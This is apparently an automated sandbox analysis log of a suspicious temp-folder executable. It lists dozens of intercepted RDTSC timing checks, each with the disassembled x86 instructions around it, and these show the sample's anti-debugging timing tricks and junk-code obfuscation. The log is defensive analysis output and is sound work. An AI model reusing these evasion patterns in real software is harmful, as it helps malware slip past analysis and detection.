Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 10326E0 second address: 10326EA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007F3460CF07F6h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 103B462 second address: 103B4B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov dword ptr [esp], eax 0x00000007 or edi, dword ptr [ebp+122D35C0h] 0x0000000d push 00000000h 0x0000000f add dword ptr [ebp+1245F793h], eax 0x00000015 push 00000000h 0x00000017 push 00000000h 0x00000019 push edx 0x0000001a call 00007F3460BFB968h 0x0000001f pop edx 0x00000020 mov dword ptr [esp+04h], edx 0x00000024 add dword ptr [esp+04h], 00000015h 0x0000002c inc edx 0x0000002d push edx 0x0000002e ret 0x0000002f pop edx 0x00000030 ret 0x00000031 and ebx, 5AD998E1h 0x00000037 xchg eax, esi 0x00000038 push eax 0x00000039 push edx 0x0000003a push esi 0x0000003b jmp 00007F3460BFB973h 0x00000040 pop esi 0x00000041 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 103D935 second address: 103D93B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 103D93B second address: 103D93F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 103D93F second address: 103D943 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 103D943 second address: 103D950 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 103D950 second address: 103D9AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push esi 0x00000006 pushad 0x00000007 popad 0x00000008 pop esi 0x00000009 popad 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push ebx 0x0000000e call 00007F3460CF07F8h 0x00000013 pop ebx 0x00000014 mov dword ptr [esp+04h], ebx 0x00000018 add dword ptr [esp+04h], 00000016h 0x00000020 inc ebx 0x00000021 push ebx 0x00000022 ret 0x00000023 pop ebx 0x00000024 ret 0x00000025 add edi, dword ptr [ebp+122D1AB2h] 0x0000002b push 00000000h 0x0000002d and ebx, dword ptr [ebp+122D36B8h] 0x00000033 mov edi, esi 0x00000035 push 00000000h 0x00000037 push 00000000h 0x00000039 push esi 0x0000003a call 00007F3460CF07F8h 0x0000003f pop esi 0x00000040 mov dword ptr [esp+04h], esi 0x00000044 add dword ptr [esp+04h], 00000014h 0x0000004c inc esi 0x0000004d push esi 0x0000004e ret 0x0000004f pop esi 0x00000050 ret 0x00000051 mov bl, dh 0x00000053 xchg eax, esi 0x00000054 push edi 0x00000055 pushad 0x00000056 push eax 0x00000057 push edx 0x00000058 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 103E8E7 second address: 103E8F5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 103E8F5 second address: 103E8FF instructions: 0x00000000 rdtsc 0x00000002 jng 00007F3460CF07F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 103601A second address: 1036028 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edi 0x0000000b pushad 0x0000000c popad 0x0000000d pop edi 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 1038044 second address: 1038049 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 1033A7D second address: 1033A83 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 1036028 second address: 1036032 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007F3460CF07F6h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 1038049 second address: 1038053 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F3460BFB966h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 1033A83 second address: 1033A87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 103DB4B second address: 103DBDD instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 jns 00007F3460BFB966h 0x0000000d pop edx 0x0000000e popad 0x0000000f mov dword ptr [esp], eax 0x00000012 mov edi, ecx 0x00000014 push dword ptr fs:[00000000h] 0x0000001b mov bx, 7BE0h 0x0000001f mov dword ptr fs:[00000000h], esp 0x00000026 push 00000000h 0x00000028 push ebp 0x00000029 call 00007F3460BFB968h 0x0000002e pop ebp 0x0000002f mov dword ptr [esp+04h], ebp 0x00000033 add dword ptr [esp+04h], 00000019h 0x0000003b inc ebp 0x0000003c push ebp 0x0000003d ret 0x0000003e pop ebp 0x0000003f ret 0x00000040 mov eax, dword ptr [ebp+122D036Dh] 0x00000046 mov ebx, esi 0x00000048 push FFFFFFFFh 0x0000004a push 00000000h 0x0000004c push esi 0x0000004d call 00007F3460BFB968h 0x00000052 pop esi 0x00000053 mov dword ptr [esp+04h], esi 0x00000057 add dword ptr [esp+04h], 0000001Ah 0x0000005f inc esi 0x00000060 push esi 0x00000061 ret 0x00000062 pop esi 0x00000063 ret 0x00000064 call 00007F3460BFB96Ah 0x00000069 mov bx, cx 0x0000006c pop edi 0x0000006d jl 00007F3460BFB96Ch 0x00000073 add dword ptr [ebp+122D339Fh], eax 0x00000079 nop 0x0000007a pushad 0x0000007b pushad 0x0000007c push eax 0x0000007d push edx 0x0000007e rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 1038053 second address: 10380DD instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F3460CF07F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d mov ebx, dword ptr [ebp+122D1BD1h] 0x00000013 push dword ptr fs:[00000000h] 0x0000001a push 00000000h 0x0000001c push edx 0x0000001d call 00007F3460CF07F8h 0x00000022 pop edx 0x00000023 mov dword ptr [esp+04h], edx 0x00000027 add dword ptr [esp+04h], 0000001Dh 0x0000002f inc edx 0x00000030 push edx 0x00000031 ret 0x00000032 pop edx 0x00000033 ret 0x00000034 mov bx, 1AA8h 0x00000038 mov dword ptr fs:[00000000h], esp 0x0000003f sub dword ptr [ebp+1245C109h], ebx 0x00000045 mov eax, dword ptr [ebp+122D01F9h] 0x0000004b mov dword ptr [ebp+122D1A3Fh], ecx 0x00000051 mov bx, dx 0x00000054 push FFFFFFFFh 0x00000056 push 00000000h 0x00000058 push ebp 0x00000059 call 00007F3460CF07F8h 0x0000005e pop ebp 0x0000005f mov dword ptr [esp+04h], ebp 0x00000063 add dword ptr [esp+04h], 00000016h 0x0000006b inc ebp 0x0000006c push ebp 0x0000006d ret 0x0000006e pop ebp 0x0000006f ret 0x00000070 or dword ptr [ebp+122D260Dh], edx 0x00000076 push eax 0x00000077 push edi 0x00000078 pushad 0x00000079 push eax 0x0000007a push edx 0x0000007b rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 1033A87 second address: 1033B46 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 mov dword ptr [ebp+122D1808h], esi 0x0000000f push dword ptr fs:[00000000h] 0x00000016 push 00000000h 0x00000018 push edx 0x00000019 call 00007F3460BFB968h 0x0000001e pop edx 0x0000001f mov dword ptr [esp+04h], edx 0x00000023 add dword ptr [esp+04h], 00000016h 0x0000002b inc edx 0x0000002c push edx 0x0000002d ret 0x0000002e pop edx 0x0000002f ret 0x00000030 mov dword ptr fs:[00000000h], esp 0x00000037 and ebx, 3A0E88C4h 0x0000003d mov eax, dword ptr [ebp+122D0801h] 0x00000043 push 00000000h 0x00000045 push edx 0x00000046 call 00007F3460BFB968h 0x0000004b pop edx 0x0000004c mov dword ptr [esp+04h], edx 0x00000050 add dword ptr [esp+04h], 00000016h 0x00000058 inc edx 0x00000059 push edx 0x0000005a ret 0x0000005b pop edx 0x0000005c ret 0x0000005d jl 00007F3460BFB97Eh 0x00000063 jno 00007F3460BFB978h 0x00000069 jg 00007F3460BFB96Ch 0x0000006f push FFFFFFFFh 0x00000071 call 00007F3460BFB977h 0x00000076 mov ebx, dword ptr [ebp+1244F39Eh] 0x0000007c pop ebx 0x0000007d push eax 0x0000007e push eax 0x0000007f push edx 0x00000080 jmp 00007F3460BFB96Dh 0x00000085 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 103DBDD second address: 103DBE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 103DBE3 second address: 103DC04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F3460BFB971h 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d popad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 103DC04 second address: 103DC08 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 1042A3F second address: 1042A49 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F3460BFB966h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 1047DC7 second address: 1047E57 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnc 00007F3460CF07F8h 0x0000000c popad 0x0000000d mov dword ptr [esp], eax 0x00000010 clc 0x00000011 push 00000000h 0x00000013 push 00000000h 0x00000015 push ecx 0x00000016 call 00007F3460CF07F8h 0x0000001b pop ecx 0x0000001c mov dword ptr [esp+04h], ecx 0x00000020 add dword ptr [esp+04h], 00000018h 0x00000028 inc ecx 0x00000029 push ecx 0x0000002a ret 0x0000002b pop ecx 0x0000002c ret 0x0000002d mov dword ptr [ebp+122D17CEh], esi 0x00000033 jmp 00007F3460CF07FAh 0x00000038 push 00000000h 0x0000003a push 00000000h 0x0000003c push ebp 0x0000003d call 00007F3460CF07F8h 0x00000042 pop ebp 0x00000043 mov dword ptr [esp+04h], ebp 0x00000047 add dword ptr [esp+04h], 00000017h 0x0000004f inc ebp 0x00000050 push ebp 0x00000051 ret 0x00000052 pop ebp 0x00000053 ret 0x00000054 or dword ptr [ebp+122D2C0Eh], esi 0x0000005a mov ebx, dword ptr [ebp+1245FD54h] 0x00000060 push eax 0x00000061 push eax 0x00000062 push edx 0x00000063 pushad 0x00000064 push ebx 0x00000065 pop ebx 0x00000066 jmp 00007F3460CF0807h 0x0000006b popad 0x0000006c rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 1040B8D second address: 1040BB0 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F3460BFB966h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edi 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F3460BFB974h 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 1040BB0 second address: 1040C5C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3460CF0807h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push ebp 0x0000000e call 00007F3460CF07F8h 0x00000013 pop ebp 0x00000014 mov dword ptr [esp+04h], ebp 0x00000018 add dword ptr [esp+04h], 00000015h 0x00000020 inc ebp 0x00000021 push ebp 0x00000022 ret 0x00000023 pop ebp 0x00000024 ret 0x00000025 push dword ptr fs:[00000000h] 0x0000002c push 00000000h 0x0000002e push esi 0x0000002f call 00007F3460CF07F8h 0x00000034 pop esi 0x00000035 mov dword ptr [esp+04h], esi 0x00000039 add dword ptr [esp+04h], 00000016h 0x00000041 inc esi 0x00000042 push esi 0x00000043 ret 0x00000044 pop esi 0x00000045 ret 0x00000046 mov dword ptr fs:[00000000h], esp 0x0000004d and edi, dword ptr [ebp+122D3600h] 0x00000053 mov eax, dword ptr [ebp+122D01EDh] 0x00000059 push 00000000h 0x0000005b push ebx 0x0000005c call 00007F3460CF07F8h 0x00000061 pop ebx 0x00000062 mov dword ptr [esp+04h], ebx 0x00000066 add dword ptr [esp+04h], 00000018h 0x0000006e inc ebx 0x0000006f push ebx 0x00000070 ret 0x00000071 pop ebx 0x00000072 ret 0x00000073 push FFFFFFFFh 0x00000075 mov ebx, edi 0x00000077 push eax 0x00000078 push eax 0x00000079 push edx 0x0000007a jmp 00007F3460CF0803h 0x0000007f rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 1041C01 second address: 1041C1B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3460BFB96Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b pushad 0x0000000c pushad 0x0000000d jng 00007F3460BFB966h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 1041D07 second address: 1041D11 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F3460CF07F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 1043ADF second address: 1043AE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 1043AE5 second address: 1043AEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 1043AEA second address: 1043AEF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 1043AEF second address: 1043AF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 1043AF5 second address: 1043B17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F3460BFB978h 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 1046180 second address: 104619B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3460CF0807h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 104705F second address: 1047066 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 1047066 second address: 104706C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 104BE70 second address: 104BE74 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 104BE74 second address: 104BE82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jp 00007F3460CF07F6h 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 104BE82 second address: 104BE86 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 104BE86 second address: 104BE94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 104BE94 second address: 104BE98 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 104BE98 second address: 104BE9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 104BE9E second address: 104BEA4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 104BEA4 second address: 104BEA8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: FE3B55 second address: FE3B5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 1051A34 second address: 1051A3C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 1051A3C second address: 1051A4F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3460BFB96Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 1051A4F second address: 1051A53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 1051BC0 second address: 1051BC4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 1051BC4 second address: 1051BCA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 1051BCA second address: 1051BD0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 1051BD0 second address: 1051BD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 1056119 second address: 105616F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3460BFB976h 0x00000009 popad 0x0000000a popad 0x0000000b push eax 0x0000000c push ebx 0x0000000d push eax 0x0000000e pushad 0x0000000f popad 0x00000010 pop eax 0x00000011 pop ebx 0x00000012 mov eax, dword ptr [esp+04h] 0x00000016 jng 00007F3460BFB974h 0x0000001c mov eax, dword ptr [eax] 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007F3460BFB977h 0x00000025 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 105616F second address: 1056181 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3460CF07FEh 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 10562FB second address: 1056305 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F3460BFB966h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 1056305 second address: 1056339 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F3460CF0801h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov eax, dword ptr [esp+04h] 0x00000011 pushad 0x00000012 push esi 0x00000013 push edx 0x00000014 pop edx 0x00000015 pop esi 0x00000016 jmp 00007F3460CF07FBh 0x0000001b popad 0x0000001c mov eax, dword ptr [eax] 0x0000001e push edi 0x0000001f pushad 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 105C0CC second address: 105C0D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ecx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 105C0D3 second address: 105C118 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F3460CF0804h 0x00000008 js 00007F3460CF0811h 0x0000000e push eax 0x0000000f pop eax 0x00000010 jmp 00007F3460CF0809h 0x00000015 pop edx 0x00000016 pop eax 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F3460CF07FAh 0x0000001e rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 105ADF4 second address: 105ADF9 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 105ADF9 second address: 105ADFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 105ADFF second address: 105AE0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jnp 00007F3460BFB96Eh 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 105B972 second address: 105B98A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jne 00007F3460CF07F6h 0x00000009 jbe 00007F3460CF07F6h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 js 00007F3460CF07F6h 0x00000018 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 105B98A second address: 105B98E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 105B98E second address: 105B9A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jno 00007F3460CF07F6h 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 105BDAC second address: 105BDB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 105BDB4 second address: 105BDC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push esi 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 1063E7C second address: 1063E80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 1063E80 second address: 1063E84 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 1063E84 second address: 1063E9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jns 00007F3460BFB96Eh 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 10631C2 second address: 10631CC instructions: 0x00000000 rdtsc 0x00000002 jo 00007F3460CF07FEh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
